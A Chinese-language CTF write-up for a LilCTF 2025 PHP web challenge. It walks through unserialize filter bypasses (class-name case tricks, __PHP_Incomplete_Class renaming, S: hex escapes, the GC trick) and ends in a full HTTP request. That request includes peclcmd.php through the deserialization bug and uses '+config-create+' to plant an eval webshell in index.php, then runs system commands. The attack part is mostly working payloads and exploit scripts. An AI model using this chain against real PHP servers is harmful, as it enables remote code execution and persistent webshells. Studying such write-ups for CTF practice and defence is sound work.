1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php highlight_file (__FILE__ );class User { public $username ; public $value ; public function exec ( ) { $ser = unserialize (serialize (unserialize ($this ->value))); if ($ser != $this ->value && $ser instanceof Access) { include ($ser ->getToken ()); } } public function __destruct ( ) { if ($this ->username == "admin" ) { $this ->exec (); } } } class Access { protected $prefix ; protected $suffix ; public function getToken ( ) { if (!is_string ($this ->prefix) || !is_string ($this ->suffix)) { throw new Exception ("Go to HELL!" ); } $result = $this ->prefix . 'lilctf' . $this ->suffix; if (strpos ($result , 'pearcmd' ) !== false ) { throw new Exception ("Can I have peachcmd?" ); } return $result ; } } $ser = $_POST ["user" ];if (strpos ($ser , 'admin' ) !== false && strpos ($ser , 'Access":' ) !== false ) { exit ("no way!!!!" ); } $user = unserialize ($ser );throw new Exception ("nonono!!!" );
先看 User 类的 exec:
1 2 3 4 5 6 public function exec ( ) { $ser = unserialize (serialize (unserialize ($this ->value))); if ($ser != $this ->value && $ser instanceof Access) { include ($ser ->getToken ());
反序列化又序列化等于没动,再反序列化,也就是说这里 value 是个反序列化的字符串。下面又是 ser 不等于 value,还要是 Access 的类,写了一大堆花里胡哨的,其实就是 value 等于序列化过后的 Access。也就是说我们要先自己运行出我们需要的 Access。
1 $result = $this ->prefix . 'lilctf' . $this ->suffix;
进行一个防止路径穿越的无用过滤。
1 2 3 4 if (strpos ($result , 'pearcmd' ) !== false ) { throw new Exception ("Can I have peachcmd?" ); } return $result ;
说实话目前还没搞懂pearcmd出现在这里的意义。
1 2 if (strpos ($ser , 'admin' ) !== false && strpos ($ser , 'Access":' ) !== false ) { exit ("no way!!!!" );
不允许 admin 和 Access 一起出现,但是反序列化里是大小写不敏感的改成 access 就好了。
注意,在本地复现的时候,要把 url 编码后的 payload 再解码回来,不然 IDE 不认识。
一种略有错误的解法 先把 Access 序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 class Access { protected $prefix ="php://filter/convert.base64-encode/resource=/" ; protected $suffix ="/../flag" ; public function getToken ( ) { if (!is_string ($this ->prefix) || !is_string ($this ->suffix)) { throw new Exception ("Go to HELL!" ); } $result = $this ->prefix . 'lilctf' . $this ->suffix; return $result ; } }
这样拼出来的路径就是:/lilctf/../flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 class User { public $username = "admin" ; public $value = 'O%3A6%3A%22Access%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A3%3A%22..%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A11%3A%22..%2Fflag.txt%22%3B%7D' ; public function exec ( ) { $ser = serialize (unserialize (urldecode ($this ->value))); if ($ser != $this ->value && $ser instanceof Access) { include ($ser ->getToken ()); } } public function __destruct ( ) { if ($this ->username == "admin" ) { $this ->exec (); } } $b = new User ();$c =array (new User (),0 );echo urlencode (serialize ($c ));
$c=array(new User(),0);
i%3A1%3Bi%3A0
这里要把 1 改成 0 绕过 GC 回收机制。
$ser = serialize(unserialize(urldecode($this->value)));
这里的 urldecode 是我自己加的。
所以到题目里会不过,这里主要是让序列化的 Access 二次编码了。
正确 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php class User { public $username = "admin" ; public $value ; public function exec ( ) { $ser = unserialize (serialize (unserialize ($this ->value))); if ($ser != $this ->value && $ser instanceof Access) { include ($ser ->getToken ()); } } public function __destruct ( ) { if ($this ->username == "admin" ) { $this ->exec (); } } } class Access { protected $prefix ="php://filter/convert.base64-encode/resource=/" ; protected $suffix ="/../flag" ; public function getToken ( ) { if (!is_string ($this ->prefix) || !is_string ($this ->suffix)) { throw new Exception ("Go to HELL!" ); } $result = $this ->prefix . 'lilctf' . $this ->suffix; if (strpos ($result , 'pearcmd' ) !== false ) { throw new Exception ("Can I have peachcmd?" ); } return $result ; } } $user = new User ();$access = new Access ();$user ->value = serialize ($access );$c =array ($user ,0 );echo urlencode (serialize ($c ));
生成的 payload 还要把 Access 改为 access,i%3A1%3Bi%3A0要把 1 改成 0。
变成:
1 user=a%3 A2%3 A%7 Bi%3 A0%3 BO%3 A4%3 A%22 User%22 %3 A2%3 A%7 Bs%3 A8%3 A%22 username%22 %3 Bs%3 A5%3 A%22 admin%22 %3 Bs%3 A5%3 A%22 value%22 %3 Bs%3 A117%3 A%22 O%3 A6%3 A%22 access%22 %3 A2%3 A%7 Bs%3 A9%3 A%22 %00 %2 A%00 prefix%22 %3 Bs%3 A45%3 A%22 php%3 A%2 F%2 Ffilter%2 Fconvert.base64-encode%2 Fresource%3 D%2 F%22 %3 Bs%3 A9%3 A%22 %00 %2 A%00 suffix%22 %3 Bs%3 A8%3 A%22 %2 F..%2 Fflag%22 %3 B%7 D%22 %3 B%7 Di%3 A0%3 Bi%3 A0%3 B%7 D
2025 LilCTF Web部分wp-CSDN博客
新版 变得更加难了……
https://lil-house.feishu.cn/wiki/MNoPwhht7iEgrIkPztRcNX4InbZ
由于原始代码并没体现出题人的完全的考点, 下面是修改后的源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php highlight_file (__FILE__ );class User { public $username ; public $value ; public function exec ( ) { if (strpos ($this ->value, 'S:' ) === false ) { $ser = serialize (unserialize ($this ->value)); $instance = unserialize ($ser ); if ($ser != $this ->value && $instance instanceof Access) { include ($instance ->getToken ()); } } else { throw new Exception ("wanna ?" ); } } public function __destruct ( ) { if ($this ->username === "admin" ) { $this ->exec (); } } } class Access { protected $prefix ; protected $suffix ; public function getToken ( ) { if (!is_string ($this ->prefix) || !is_string ($this ->suffix)) { throw new Exception ("Go to HELL!" ); } $result = $this ->prefix . 'lilctf' . $this ->suffix . '.php' ; if (strpos ($result , 'pearcmd' ) !== false ) { throw new Exception ("Can I have peachcmd?" ); } return $result ; } } $ser = $_POST ["user" ];if (stripos ($ser , 'admin' ) !== false || stripos ($ser , 'Access":' ) !== false ) { exit ("no way!!!!" ); } $user = unserialize ($ser );throw new Exception ("nonono!!!" );
我们来看看改了什么地方……
1 if ($this ->username === "admin" ) {
可能我们第一眼不知道为什么从弱比较变成强比较了,事实上之前的弱比较可以直接让 username=true,在 PHP 里,== 会自动做类型转换:如果是 字符串和布尔值比较 ,字符串只要不是空字符串 "",都会被当作 true,所以 "admin" == true 成立,"hello" == true 也成立。或者这里让 username 等于 0 也行。
1 2 3 if (stripos ($ser , 'admin' ) !== false || stripos ($ser , 'Access":' ) !== false ) { exit ("no way!!!!" ); }
从strpos 变成stripos,从大小写敏感变成了大小写不敏感,也就是不能直接改类名来绕过了。
变得更加有难度了…..
我们可以利用不完整类来让作为 __PHP_Incomplete_Class_Name 的成员变为类名, 这样也会让两次反序列化结果不一致
具体写一下这个是什么,PHP 反序列化(unserialize())时,如果遇到一个类名,PHP 会去找这个类 Access 是否存在。如果类存在:就创建该类对象。如果类 不存在 :PHP 会创建一个特殊对象:
1 __PHP_Incomplete_Class_Name
这个对象仍然保存原来的属性。但是类名被记录为 "Access"(保存在 __PHP_Incomplete_Class_Name 内部)。
我们这里手动把 Access 改成不存在的一个名字,比如LilRan反序列化时,PHP 发现类 LilRan 不存在,PHP 会生成一个 **__PHP_Incomplete_Class_Name**** 对象,**但是它会把原来的类名 "LilRan" 记录下来,属性依然保留。最后我们再偷偷加上一个属性__PHP_Incomplete_Class_Name。
比较难理解的话,就想象成 Access 这个姓被仇人追杀,想要孩子活下来,只能先给孩子改一个其他的姓,但是告诉他其实你跟别人不一样,你原来的姓是 Access,这样孩子长大了仇人死了就可以认祖归宗(bushi)
1 2 if (strpos ($this ->value, 'S:' ) === false ) { $ser = serialize (unserialize ($this ->value));
这里也改了,但是实际上这里是个提示怎么绕过 admin 的,我们可以使用 S: + 十六进制来绕过。也就是S:5:"\61dmin类似于这样的东西。
这里 payload 里写的是:
1 $userser = str_replace (';s:5:"admin"' , ';S:5:"\61dmin"' , $userser );
实际上我现在还是没有搞明白,这里替换了,那if (strpos($this->value, 'S:') === false)这一条是怎么过的???好像是把最后一个括号去掉的,不对这是绕过 gc 的。
自己打印一下才知道,因为 value 里面存的是改名换姓的 Access,我们的;S:5:"\61dmin是在 User 类里面的。
1 $result = $this ->prefix . 'lilctf' . $this ->suffix . '.php' ;
复现半天没成功打印出来才发现多给我塞了个后缀。
看看出题人给的 exp:
1 2 3 4 $user = new User ();$token = new Access ();$user ->username = 'admin' ;$ser = serialize ($token );
这里和之前一样。
1 2 3 $ser = str_replace ('Access":2' , 'LilRan":3' , $ser );$ser = substr ($ser , 0 , -1 );$ser .= 's:27:"__PHP_Incomplete_Class_Name";s:6:"Access";}' ;
这里把类名改了,属性数量加一,再去掉最后一个符号},添上新的属性__PHP_Incomplete_Class_Name。
1 2 $user ->value = $ser ;$userser = serialize ($user );
这里和之前也差不多。
1 $userser = str_replace (';s:5:"admin"' , ';S:5:"\61dmin"' , $userser );
替换,十六进制绕过。
1 2 $fin = substr ($userser , 0 , -1 );echo urlencode ($fin ) . "\n" ;
去掉最后一个符号,绕过 GC 回收机制。
剩下最后的问题,
1 2 protected $prefix = '/usr/local/lib/' ;protected $suffix = '/../php/peclcmd.php' ;
这些是什么?
关于pearcmd.php的利用 - Yuy0ung - 博客园
1 2 3 4 5 POST /index.php?+config-create+/<?= eval ($_POST [0 ])?> +/var /www/html/index.php HTTP/1.1 Host: xxxxxxxxxxxxxx Content-Type: application/x-www-form-urlencoded user=O%3 A4%3 A%22 User%22 %3 A2%3 A%7 Bs%3 A8%3 A%22 username%22 %3 BS%3 A5%3 A%22 %5 C61dmin%22 %3 Bs%3 A5%3 A%22 value%22 %3 Bs%3 A147%3 A%22 O%3 A6%3 A%22 LilRan%22 %3 A3%3 A%7 Bs%3 A9%3 A%22 %00 %2 A%00 prefix%22 %3 Bs%3 A15%3 A%22 %2 Fusr%2 Flocal%2 Flib%2 F%22 %3 Bs%3 A9%3 A%22 %00 %2 A%00 suffix%22 %3 Bs%3 A19%3 A%22 %2 F..%2 Fphp%2 Fpeclcmd.php%22 %3 Bs%3 A27%3 A%22 __PHP_Incomplete_Class_Name%22 %3 Bs%3 A6%3 A%22 Access%22 %3 B%7 D%22 %3 B&0 =system ('/readflag' );
复现成功,别用 hackbar。
peclcmd.php 是什么?
peclcmd.php 是 PHP 自带的一个脚本,位置一般在:
1 /usr/local/lib/php/peclcmd.php
它是 PEAR/PECL 包管理工具 (类似 Python 的 pip、Node.js 的 npm)。
本来是给开发者用来命令行执行 install / uninstall 扩展的。
⚠️ 但是! 这个脚本里实现了一些危险功能: 它会解析传入的参数,然后执行各种命令。 如果你能控制程序去“调用 peclcmd.php”,就等于拿到了一个“带后门的官方 PHP 脚本”,可以执行任意命令。
payload 里做了什么 看这一部分:
1 2 ... "prefix": "/usr/local/lib/", "suffix": "/../php/peclcmd.php"
👉 意思是:攻击者通过反序列化,构造了一个对象,让程序去加载 /usr/local/lib/../php/peclcmd.php 这个文件。 也就是 强行调用 peclcmd.php 。
然后请求行里:
1 POST /index.php?+config-create+/<?=eval($_POST[0])?>+/var/www/html/index.php
这个是 传给 peclcmd.php 的参数 。
+config-create+ 是 peclcmd 支持的一个命令,作用是 生成配置文件 。
后面跟的内容:
就是写入配置文件的内容,相当于一句话木马。
/var/www/html/index.php 这是目标文件路径,把木马写进首页 index.php。
整体流程
通过反序列化漏洞 → 控制 prefix/suffix → 让程序加载 peclcmd.php。
peclcmd.php 接收参数 → +config-create+ <?=eval($_POST[0])?> /var/www/html/index.php。
peclcmd 执行命令 → 把一句话木马写到 index.php。
访问 index.php 时,就能用 POST 参数远程执行命令,比如:
1 2 POST /index.php 0=system('id');